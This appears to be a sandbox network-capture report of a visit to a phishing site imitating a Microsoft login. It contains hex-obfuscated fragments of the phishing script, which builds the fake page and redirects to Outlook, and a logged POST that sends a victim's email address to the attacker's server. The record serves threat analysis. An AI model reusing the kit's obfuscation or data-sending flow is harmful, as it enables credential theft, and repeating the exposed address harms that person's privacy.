Apr 26, 2024 06:28:52.211848021 CEST	1.1.1.1	192.168.2.16	0xfaf3	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 06:28:53.819974899 CEST	1.1.1.1	192.168.2.16	0x9dde	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 06:28:53.819974899 CEST	1.1.1.1	192.168.2.16	0x9dde	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:53.819974899 CEST	1.1.1.1	192.168.2.16	0x9dde	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:54.723588943 CEST	1.1.1.1	192.168.2.16	0xdc6f	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 06:28:54.723588943 CEST	1.1.1.1	192.168.2.16	0xdc6f	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:54.723588943 CEST	1.1.1.1	192.168.2.16	0xdc6f	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:55.193176031 CEST	1.1.1.1	192.168.2.16	0xc9d8	No error (0)	www.google.com		192.178.50.68	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:55.193664074 CEST	1.1.1.1	192.168.2.16	0x605	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 06:28:55.970103025 CEST	1.1.1.1	192.168.2.16	0x82ae	No error (0)	iia-p.org		192.232.216.145	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

iia-p.org

logincdn.msauth.net

fs.microsoft.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49700	192.232.216.145	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:50 UTC	568	OUT	GET /lh/o.js HTTP/1.1 Host: iia-p.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:51 UTC	359	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:51 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Tue, 09 Apr 2024 12:07:43 GMT Accept-Ranges: bytes Content-Length: 114178 Cache-Control: max-age=31536000, public Expires: Sat, 26 Apr 2025 04:28:51 GMT Vary: Accept-Encoding Content-Type: application/javascript; charset=utf-8
2024-04-26 04:28:51 UTC	7833	IN	Data Raw: 76 61 72 20 5f 30 78 36 62 32 39 3d 5b 22 5c 78 32 35 5c 78 33 33 5c 78 34 33 5c 78 37 33 5c 78 36 33 5c 78 37 32 5c 78 36 39 5c 78 37 30 5c 78 37 34 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 36 63 5c 78 36 31 5c 78 36 65 5c 78 36 37 5c 78 37 35 5c 78 36 31 5c 78 36 37 5c 78 36 35 5c 78 32 35 5c 78 33 33 5c 78 34 34 5c 78 36 61 5c 78 36 31 5c 78 37 36 5c 78 36 31 5c 78 37 33 5c 78 36 33 5c 78 37 32 5c 78 36 39 5c 78 37 30 5c 78 37 34 5c 78 32 35 5c 78 33 33 5c 78 34 35 5c 78 36 34 5c 78 36 66 5c 78 36 33 5c 78 37 35 5c 78 36 64 5c 78 36 35 5c 78 36 65 5c 78 37 34 5c 78 32 65 5c 78 37 37 5c 78 37 32 5c 78 36 39 5c 78 37 34 5c 78 36 35 5c 78 32 38 5c 78 37 35 5c 78 36 65 5c 78 36 35 5c 78 37 33 5c 78 36 33 5c 78 36 31 5c 78 37 30 5c 78 36 35 5c 78 32 38 5c Data Ascii: var _0x6b29=["\x25\x33\x43\x73\x63\x72\x69\x70\x74\x25\x32\x30\x6c\x61\x6e\x67\x75\x61\x67\x65\x25\x33\x44\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x25\x33\x45\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x75\x6e\x65\x73\x63\x61\x70\x65\x28\
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 32 5c 78 33 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 36 33 5c 78 36 66 5c 78 37 36 5c 78 36 35 5c 78 37 32 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 37 30 5c 78 36 66 5c 78 37 33 5c 78 36 39 5c 78 37 34 5c 78 36 39 5c 78 36 66 5c 78 36 65 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 36 36 5c 78 36 39 5c 78 37 38 5c 78 36 35 5c 78 36 34 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 32 5c 78 Data Ascii: 2\x35\x33\x41\x25\x32\x35\x32\x30\x63\x6f\x76\x65\x72\x25\x32\x35\x33\x42\x25\x32\x35\x30\x41\x25\x32\x35\x32\x30\x25\x32\x35\x32\x30\x70\x6f\x73\x69\x74\x69\x6f\x6e\x25\x32\x35\x33\x41\x25\x32\x35\x32\x30\x66\x69\x78\x65\x64\x25\x32\x35\x33\x42\x25\x32\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 36 36 5c 78 36 66 5c 78 36 65 5c 78 37 34 5c 78 32 64 5c 78 36 36 5c 78 36 31 5c 78 36 64 5c 78 36 39 5c 78 36 63 5c 78 37 39 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 32 5c 78 35 33 5c 78 36 35 5c 78 36 37 5c 78 36 66 5c 78 36 35 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 35 35 5c 78 34 39 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 35 37 5c 78 36 35 5c 78 36 32 5c 78 36 36 5c 78 36 66 5c 78 36 65 5c 78 37 34 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 32 5c 78 Data Ascii: 2\x35\x32\x30\x25\x32\x35\x32\x30\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x25\x32\x35\x33\x41\x25\x32\x35\x32\x30\x25\x32\x35\x32\x32\x53\x65\x67\x6f\x65\x25\x32\x35\x32\x30\x55\x49\x25\x32\x35\x32\x30\x57\x65\x62\x66\x6f\x6e\x74\x25\x32\x35\x32\x32\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 35 5c 78 33 32 5c 78 33 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 30 5c 78 34 31 5c 78 36 34 5c 78 36 39 5c 78 37 36 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 65 5c 78 36 32 5c 78 37 35 5c 78 37 34 5c 78 37 34 5c 78 36 66 5c 78 36 65 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 37 5c 78 34 32 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 30 5c 78 33 39 5c 78 37 30 5c 78 36 31 5c 78 36 34 5c 78 36 34 5c 78 36 39 5c 78 36 65 5c 78 36 37 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 33 32 5c 78 33 30 5c 78 Data Ascii: 5\x32\x35\x30\x41\x25\x32\x35\x30\x41\x64\x69\x76\x25\x32\x35\x32\x30\x2e\x62\x75\x74\x74\x6f\x6e\x25\x32\x35\x32\x30\x25\x32\x35\x37\x42\x25\x32\x35\x30\x41\x25\x32\x35\x30\x39\x70\x61\x64\x64\x69\x6e\x67\x25\x32\x35\x33\x41\x25\x32\x35\x32\x30\x32\x30\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 33 5c 78 36 33 5c 78 36 33 5c 78 36 33 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 37 34 5c 78 36 35 5c 78 37 38 5c 78 37 34 5c 78 32 64 5c 78 36 34 5c 78 36 35 5c 78 36 33 5c 78 36 66 5c 78 37 32 5c 78 36 31 5c 78 37 34 5c 78 36 39 5c 78 36 66 5c 78 36 65 5c 78 32 35 5c 78 33 32 5c 78 33 35 5c 78 33 33 5c 78 Data Ascii: 3\x41\x25\x32\x35\x32\x30\x25\x32\x35\x32\x33\x63\x63\x63\x25\x32\x35\x33\x42\x25\x32\x35\x30\x41\x25\x32\x35\x32\x30\x25\x32\x35\x32\x30\x25\x32\x35\x32\x30\x25\x32\x35\x32\x30\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x25\x32\x35\x33\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 32 5c 78 33 30 5c 78 36 39 5c 78 36 65 5c 78 37 34 5c 78 36 35 5c 78 36 37 5c 78 37 32 5c 78 36 39 5c 78 37 34 5c 78 37 39 5c 78 32 35 5c 78 33 33 5c 78 34 34 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 37 33 5c 78 36 38 5c 78 36 31 5c 78 33 33 5c 78 33 38 5c 78 33 34 5c 78 32 64 5c 78 33 38 5c 78 36 39 5c 78 35 30 5c 78 35 34 5c 78 36 62 5c 78 33 32 5c 78 37 33 5c 78 32 35 5c 78 33 32 5c 78 34 36 5c 78 36 61 5c 78 34 64 5c 78 35 36 5c 78 36 61 5c 78 33 38 5c 78 33 31 5c 78 36 34 5c 78 36 65 5c 78 37 61 5c 78 36 32 5c 78 32 35 5c 78 33 32 5c 78 34 36 5c 78 36 39 5c 78 34 36 5c 78 35 32 5c 78 33 32 5c 78 37 33 5c 78 36 34 5c 78 34 31 5c 78 33 37 5c 78 37 35 5c 78 33 30 5c 78 33 36 5c 78 37 36 5c 78 34 38 5c 78 34 61 5c 78 37 39 5c 78 37 39 5c 78 34 63 5c 78 Data Ascii: 2\x30\x69\x6e\x74\x65\x67\x72\x69\x74\x79\x25\x33\x44\x25\x32\x32\x73\x68\x61\x33\x38\x34\x2d\x38\x69\x50\x54\x6b\x32\x73\x25\x32\x46\x6a\x4d\x56\x6a\x38\x31\x64\x6e\x7a\x62\x25\x32\x46\x69\x46\x52\x32\x73\x64\x41\x37\x75\x30\x36\x76\x48\x4a\x79\x79\x4c\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 32 5c 78 33 30 5c 78 37 37 5c 78 36 39 5c 78 36 34 5c 78 37 34 5c 78 36 38 5c 78 32 35 5c 78 33 33 5c 78 34 34 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 33 31 5c 78 33 30 5c 78 33 38 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 36 38 5c 78 36 35 5c 78 36 39 5c 78 36 37 5c 78 36 38 5c 78 37 34 5c 78 32 35 5c 78 33 33 5c 78 34 34 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 33 32 5c 78 33 34 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 37 33 5c 78 37 32 5c 78 36 33 5c 78 32 35 5c 78 33 33 5c 78 34 34 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 32 37 5c 78 32 35 5c 78 33 32 5c 78 34 32 5c 78 36 39 5c 78 32 65 5c 78 36 63 5c 78 36 66 5c 78 36 37 5c 78 36 66 5c 78 35 66 5c 78 36 39 5c 78 36 64 5c 78 Data Ascii: 2\x30\x77\x69\x64\x74\x68\x25\x33\x44\x25\x32\x32\x31\x30\x38\x25\x32\x32\x25\x32\x30\x68\x65\x69\x67\x68\x74\x25\x33\x44\x25\x32\x32\x32\x34\x25\x32\x32\x25\x32\x30\x73\x72\x63\x25\x33\x44\x25\x32\x32\x27\x25\x32\x42\x69\x2e\x6c\x6f\x67\x6f\x5f\x69\x6d\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 30 5c 78 32 35 5c 78 33 37 5c 78 34 32 5c 78 32 35 5c 78 33 37 5c 78 34 34 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 37 36 5c 78 36 31 5c 78 37 32 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 37 30 5c 78 36 31 5c 78 37 32 5c 78 37 34 5c 78 37 33 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 Data Ascii: 0\x25\x37\x42\x25\x37\x44\x25\x33\x42\x25\x30\x41\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x76\x61\x72\x25\x32\x30\x70\x61\x72\x74\x73\x25\x32\x30\x25\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 35 5c 78 36 65 5c 78 37 34 5c 78 32 65 5c 78 36 63 5c 78 36 66 5c 78 36 33 5c 78 36 31 5c 78 37 34 5c 78 36 39 5c 78 36 66 5c 78 36 65 5c 78 32 65 5c 78 37 32 5c 78 36 35 5c 78 37 30 5c 78 36 63 5c 78 36 31 5c 78 36 33 5c 78 36 35 5c 78 32 38 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 32 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 34 36 5c 78 32 35 5c 78 33 32 5c 78 34 36 5c 78 36 66 5c 78 37 35 5c 78 37 34 5c 78 36 63 5c 78 36 66 5c 78 36 66 5c 78 36 62 5c 78 32 65 5c 78 36 66 5c 78 36 36 5c 78 36 36 5c 78 36 39 5c 78 36 33 5c 78 36 35 5c 78 32 65 5c 78 36 33 5c 78 36 66 5c 78 36 64 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 32 39 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 Data Ascii: 5\x6e\x74\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x25\x32\x32\x68\x74\x74\x70\x25\x33\x41\x25\x32\x46\x25\x32\x46\x6f\x75\x74\x6c\x6f\x6f\x6b\x2e\x6f\x66\x66\x69\x63\x65\x2e\x63\x6f\x6d\x25\x32\x32\x29\x25\x33\x42\x25\x30\x
2024-04-26 04:28:51 UTC	8000	IN	Data Raw: 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 36 35 5c 78 36 64 5c 78 36 31 5c 78 36 39 5c 78 36 63 5c 78 37 61 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 31 5c 78 32 35 5c 78 33 33 5c 78 34 34 5c 78 32 35 5c 78 33 33 5c 78 34 34 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 32 35 5c 78 33 32 5c 78 33 32 5c 78 32 39 5c 78 32 35 5c 78 33 37 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 Data Ascii: 0\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x69\x66\x28\x65\x6d\x61\x69\x6c\x7a\x25\x32\x30\x21\x25\x33\x44\x25\x33\x44\x25\x32\x30\x25\x32\x32\x25\x32\x32\x29\x25\x37\x42\x25\x30\x41\x25\x32\x30\x25\x32\x30\x25\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49705	192.232.216.145	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:54 UTC	580	OUT	POST /lh/brand.php HTTP/1.1 Host: iia-p.org Connection: keep-alive Content-Length: 49 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:54 UTC	49	OUT	Data Raw: 65 6d 61 69 6c 3d 73 75 7a 61 6e 6e 61 2e 73 69 6d 6f 6e 6f 76 69 63 25 34 30 6a 6a 73 77 61 73 74 65 2e 63 6f 6d 2e 61 75 26 62 61 72 6e 64 3d 31 Data Ascii: email=suzanna.simonovic%40jjswaste.com.au&barnd=1
2024-04-26 04:28:55 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:54 GMT Server: Apache Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade Cache-Control: max-age=0 Expires: Fri, 26 Apr 2024 04:28:54 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-26 04:28:55 UTC	46	IN	Data Raw: 32 33 0d 0a 7b 22 6c 6f 67 6f 5f 69 6d 61 67 65 22 3a 6e 75 6c 6c 2c 22 62 67 5f 69 6d 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 23{"logo_image":null,"bg_image":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49706	13.107.213.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:54 UTC	620	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:54 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:54 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:07 GMT ETag: 0x8D79ED359808AB6 x-ms-request-id: 5c5303ab-401e-0036-5e92-973e83000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T042854Z-1865489d5f4vxtqf9836nc5azn00000003u0000000004w8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 04:28:54 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49707	13.107.213.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:54 UTC	619	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:54 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:54 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:56 GMT ETag: 0x8D7B0072D292595 x-ms-request-id: 1b95d27d-201e-0074-6292-97bb96000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T042854Z-17644f8887f6krrkwksfy2se5w00000007500000000006fs x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 04:28:54 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49708	13.107.213.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:55 UTC	576	OUT	GET /16.000.28595.2/images/favicon.ico HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
